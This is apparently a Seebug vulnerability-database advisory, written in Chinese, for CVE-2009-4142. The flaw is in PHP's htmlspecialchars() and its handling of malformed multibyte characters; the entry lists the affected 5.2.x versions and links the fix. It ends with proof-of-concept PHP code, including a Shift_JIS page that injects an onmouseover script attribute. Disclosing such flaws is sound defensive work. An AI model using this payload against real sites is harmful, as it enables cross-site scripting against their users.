Lucene search

K
seebugRootSSV:15108
HistoryDec 18, 2009 - 12:00 a.m.

PHP 'htmlspecialcharacters()'畸形多字节字符跨站脚本漏洞

2009-12-1800:00:00
Root
www.seebug.org
33

0.02 Low

EPSS

Percentile

87.6%

Bugraq ID: 37389
CVE ID:CVE-2009-4142

PHP是一款流行的网络编程语言。
htmlspecialchars()函数不严格检查多字节序列,远程攻击者可以利用漏洞进行跨站脚本攻击。

PHP PHP 5.2.11
PHP PHP 5.2.10
PHP PHP 5.2.9
PHP PHP 5.2.8
PHP PHP 5.2.7
PHP PHP 5.2.6
PHP PHP 5.2.5
PHP PHP 5.2.4
PHP PHP 5.2.3
PHP PHP 5.2.2
PHP PHP 5.2.1
PHP PHP 5.2
PHP 5.2.12已经修复此漏洞,建议用户下载使用:
http://www.php.net/releases/5_2_12.php


                                                // overlong UTF-8 sequence
echo htmlspecialchars("A\xC0\xAF&",     ENT_QUOTES, 'UTF-8');
// invalid Shift_JIS sequence
echo htmlspecialchars("B\x80&",         ENT_QUOTES, 'Shift_JIS');
echo htmlspecialchars("C\x81\x7f&",     ENT_QUOTES, 'Shift_JIS');
// invalid EUC-JP sequence
echo htmlspecialchars("D\x80&",         ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("E\xA1\xFF&",     ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("F\x8E\xFF&",     ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("G\x8F\xA1\xFF&", ENT_QUOTES, 'EUC-JP');
-----------------------------------------------------------------
<?php
$_GET['a1'] = "\xf0"; // \xf0 - \xfc で可能
$_GET['a2'] = " href=dummy onmouseover=alert(document.title) dummy=dummy";
header( "Content-Type:text/html; charset=Shift_JIS" );
?>
<html>
<head><title>Shift_JIS test</title></head>
<body>
<p><a title="<?php echo htmlspecialchars( $_GET['a1'], ENT_QUOTES, 'SJIS' ) ?>" href="<?php echo htmlspecialchars( $_GET['a2'], ENT_QUOTES, 'SJIS' ) ?>">test</a></p>
</body>
</html>